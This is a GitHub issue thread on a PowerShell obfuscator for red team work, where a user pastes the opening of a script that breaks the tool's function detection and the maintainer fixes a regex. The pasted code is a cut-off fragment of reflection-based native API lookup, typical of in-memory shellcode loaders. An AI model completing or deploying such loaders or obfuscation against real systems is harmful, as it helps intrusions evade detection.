cwolff411 / powerob

An on-the-fly Powershell script obfuscator meant for red team engagements. Built out of necessity.
140 stars 43 forks source link

No Functions Found. Exiting... #4

Closed honeyfairy closed 3 years ago

honeyfairy commented 3 years ago

Getting this error:

[+] Loading the Powershell script
[+] Locating functions
[-] No Functions Found. Exiting...

But script contains this:


function func_get_proc_address {
    Param ($var_module, $var_procedure)     
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]`
cwolff411 commented 3 years ago

Looks like someone is doing some reflection 😉

I think it's something with the regex. Let me look into it.

cwolff411 commented 3 years ago

Updated to fix issues with regex.